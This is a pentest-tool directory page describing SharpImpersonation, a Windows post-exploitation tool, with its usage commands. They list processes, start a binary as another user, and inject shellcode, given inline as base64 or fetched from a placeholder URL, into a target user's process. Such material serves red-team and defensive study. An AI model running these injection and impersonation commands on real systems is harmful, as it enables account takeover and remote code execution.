Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
SharpImpersonation — A User Impersonation tool - via Token or Shellcode injection | Kitploit
Tools/GitHubGitHub/s3cur3th1ssh1t/sharpimpersonation
Privilege EscalationImpersonation ToolsPost-ExploitationRed Teaming
GitHubs3cur3th1ssh1t/sharpimpersonation

SharpImpersonation

A User Impersonation tool - via Token or Shellcode injection

View Repository
421754 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

SharpImpersonation

This was a learning by doing project from my side. Well known techniques are used to built just another impersonation tool with some improvements in comparison to other public tools. The code base was taken from:

  • https://github.com/0xbadjuju/Tokenvator

A blog post for the intruduction can be found here:

  • https://s3cur3th1ssh1t.github.io/SharpImpersonation-Introduction/

List user processes

root@kitploit:~
PS > PS C:\temp> SharpImpersonation.exe list

alt text

List only elevated processes

root@kitploit:~
PS > PS C:\temp> SharpImpersonation.exe list elevated

Impersonate the first process of the target user to start a new binary

root@kitploit:~
PS > PS C:\temp> SharpImpersonation.exe user:<user> binary:<binary-Path>

alt text

Inject base64 encoded shellcode into the first process of the target user

root@kitploit:~
PS > PS C:\temp> SharpImpersonation.exe user:<user> shellcode:<base64shellcode>

alt text

Inject shellcode loaded from a webserver into the first process of the target user

root@kitploit:~
PS > PS C:\temp> SharpImpersonation.exe user:<user> shellcode:<URL>

alt text

Impersonate the target user via ImpersonateLoggedOnuser for the current session

root@kitploit:~
PS > PS C:\temp> SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser

alt text

Download Tool